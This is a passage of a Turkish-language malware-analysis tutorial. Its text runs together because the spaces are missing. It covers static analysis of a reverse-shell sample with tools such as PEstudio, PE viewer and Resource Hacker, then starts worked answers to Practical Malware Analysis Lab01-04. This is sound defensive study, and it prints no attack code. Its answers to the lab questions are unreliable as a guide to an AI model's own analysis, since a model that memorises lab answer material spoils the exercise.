senaryogereği local biradreskullandık.Buaşamada bu adresi güvenlikduvarınızile engellemeniz
gerekiyor.
Burada gördüğümüzbilgi gerçektenönemli.Gördüğünüzgibi ilgili IPadresine 4444 portundan
bağlantıkuruluyor.Yani zararlı yazılımçalıştığı zaman buadres üzerindenikitaraf bağlantıkuruyor.
Bu bilgi ışığında ilgili adresve portfiltresi uygulanarakağıntrafiği incelenebilir.Yani zararlınınağ
aktivitesi incelenereknelergerçekleştiği yorumlanabilir.
StringAnaliz
128. Burada exe dosyanıniçerisinde geçenstringleri inceleyelim.Buradanuygulamanınkullandığı
fonksiyonlar,ipadresleri, dlldosyalarıvbbilgilerieldeedebiliriz.Buradaneldeettiğimizkarakterler
bize zararlı hakkındabilgilerverecektir.
1.txt dosyasınaçıktıyı oluşturdum.
Bakın ilkbölümdenPEsectionbilgilerini görebiliyoruz.Şimdi buradananlamlıkarakterleryakalamaya
çalışacağız.
Bakın burada epeybirfonksiyonlistesi karşımaçıktı.Bunların hepsi Cdilinde kullanılan
fonksiyonlardır.
130. Bu şekilde filtrelerle de sonuçodaklıilerleyebiliriz.Şuanakadarelde ettiğimizbilgilerle uygulamanın
uzak biradrese bağlantıkurduğu,socketfonksiyonları,kullandığıdll,fonksiyonve karakterlerdenyola
çıkarak zararlının reverse shell olduğukanısınavarabiliriz.
Aynı zamandabu yaptığımız işlemleri tekbirprogramüzerindende ayrıntılıolarakgörebiliriz.
PEstudioprogramıile dosyamızıinceleyelim.Bununiçinönceliklekali makinemde yeralanzararlıyı
analizedeceğimXPmakinesinetransferedeceğim.
Masaüstü dizinimihttpüzerindenpaylaşımaaçıpXPmakinemde erişiyorumve malware.exe
dosyasınısistemime çekiyorum.
131. Burada gördüğünüzgibi pestudio37 stringi blacklist olarakeklemiş.Yani bunlarınzararlıstringler
olduğunusöylüyor.
Kullanılan5dll dosyasından2 tanesini zararlıolarakgörüyor.Yani ağ işlemleri gerçekleştirendll
dosyalarınıkara listeye eklemiş.
Aynı zamandavirustotal üzerindende sonuçlarıbize gösteriyor.
PE analizi yapabileceğimizbirbaşkauygulamaise pe vieweraracıdır.
Örneğinuygulamanınimporttablosunuincelediğimzamanahil ettiğiDLLdosyalarını
görebilmekteyim.
132. Buradan hafızaadreslerini görebiliyorum.BirdiğerPEanalizaracımız ise PEBrowseDbgaracıdır.
Buradan textsection’agözattığım zamanhafıza adresleri,opcode bölmesi,assemblykarşılıklarınınet
biçimde görebiliyorum.Tabiitemelstatikanalizde bukısımlaragirmeyeceğiz.
133. Aynı zamandaimports bölmesindenkullanılanDLLve içerdikleri fonksiyonlarıdagörebilmekteyiz.
Exportstablosundadaepeybirfonksiyonkarşımızaçıkıyor.Burada gördüğünüzgibi soketişlemleri
içinkullanılançeşitlifonksiyonlargözümüze çarpıyor.
Aynı zamandaherbir fonksiyonunhafızadaki yerini de netbiçimde görebiliyoruz.Tabii burada
assemblyseviyesinde analizyapmayacağız,burayaileri seviye statikanalizde geleceğiz.
Son olarakda Resource Hackerprogramı ile uygulamanın.rsrcsectioninceleyerekbilgi alabiliriz.
134. Uygulamanınherhangi birpaketlemeişleminetabii tutuluptutulmadığınıdaPEiDyazılımı ile tespit
edebiliriz.Gördüğünüzgibi herhangi birişleme tabiitutulmamış.
Temel statikanalizde aktaracaklarımbukadar idi.Okuyanherkese teşekkür ederim.
PMA LAB 01-04 TEMEL STATİK ANALİZ
Practical Malware Analysis Lab01-04 Çözümü
Kitaptaki Labsoruları kitabınistediği formatta çözülecektir.Serinindevamıdır.
Bütünarkadaşlara başarılardilerim...
Kitabınbizdenistediği sorularabakacakolursak:
https://i.imgyukle.com/2021/02/26/L6LpJ6.png
135. Soru 1: Lab01-04.exe dosyasını vitustotal’eyükleyipherhangibirzararlıeşleşmesi olupolmadığını
kontrol edin.
Zararlı dosyayıVirusTotale atıp sonuçlarıinceleyelim.
https://i.imgyukle.com/2021/02/26/L6Lipv.png
Görüldüğüüzere 59/71 oranı vermektedirbununlabirlikte kurduğubağlantılar,registerkayıtları
kullandığıDLL ve nicesi gözükmektedir.COMMUNITYkısmına tıklayacakolursakda bu dosyayı
inceleyenanalizcilerinyorumlarıgözükmektedir.VTsonucunabakarakzararlı olduğu
düşüncesindeyiz.
Not:VirusTotalin çalışmaprensibine bakacakolursakuploadettiğimizdosyanınhashdeğerini kendi
veritabanındakilerlekarşılaştırmaktadır.Paketlenmişbirzararlıburada temizsonucuvermesi çokça
rastlananbirdurum.
Not2: Bir dosyayıVT ile analizederkendosyanınhashdeğerleri taratılmasıdoğrubirhareketolacaktır
çünküvirustotal uploadedilendosyalarıortaklarıile paylaşmaktadırve bunlarherkeseaçıkolarak
yayınlandığıiçinkritikdosyalarınuploadedilmesi sakıncaoluşturmaktadır.
Soru2: Dosyanınpaketlendiğine veyaobfuscate edildiğinedairbirizvar mı? Varsa nelerdir?Eğer
paketleme varsamümkünse açın.
136. https://i.imgyukle.com/2021/02/26/L6LvkM.png
Görüldüğüüzere herhangi birpaketlemesözkonusudeğil.
şimdi 2 sorununcevabınıbirdenvereceğim.
Soru 3: Bu program ne zaman derlendi?
Soru 6: Burada uygulamanınresource source alanınıincelememizi ve kaynaktanveri çıkarmamızı
istiyor.Bununiçinde Resource Hackeryazılımınıişaretediyor.
Dosyamızı PEstudioile açıyoruzve derlenmetarihinigörüyoruzbunlardeğiştirilebilmektedirazsonra
orijinal derlenmezamanınaerişmeye çalışacağız.
https://i.imgyukle.com/2021/02/26/L6LKw8.png
tarihgörüldüğügibi 31 ağustos2019 şimdi gerçekderlenme tarihiniöğrenmeye çalışalım.
137. https://i.imgyukle.com/2021/02/26/L6LUDo.png
aracımı çalıştırıp okile işaretledimyere tıklayarakbirexe dosyasıoluşturalımve PEstudioile açalımve
derlenme tarihine birdahabakalım.
https://i.imgyukle.com/2021/02/26/L6Ll31.png
burada ise 27 şubat2011 tarihinde derlendiğini görmekteyiz.Resource hackerile.rsrcsection
bilgilerinianalizetmemize olanaksağladıve busectiondanderlenme tarihi,kullanılandllbilgileri,
fonksiyonlarıgibi temel bilgilereldeedilebilmektedir.Resource Hackerile çektiğimizsection
sayesinde orijinalderlenmetarihine erişmişolduk.
Soru 4: Bu programın importtablosunuinceleyerekprogramınişlevihakkındaneleröğrenebiliriz?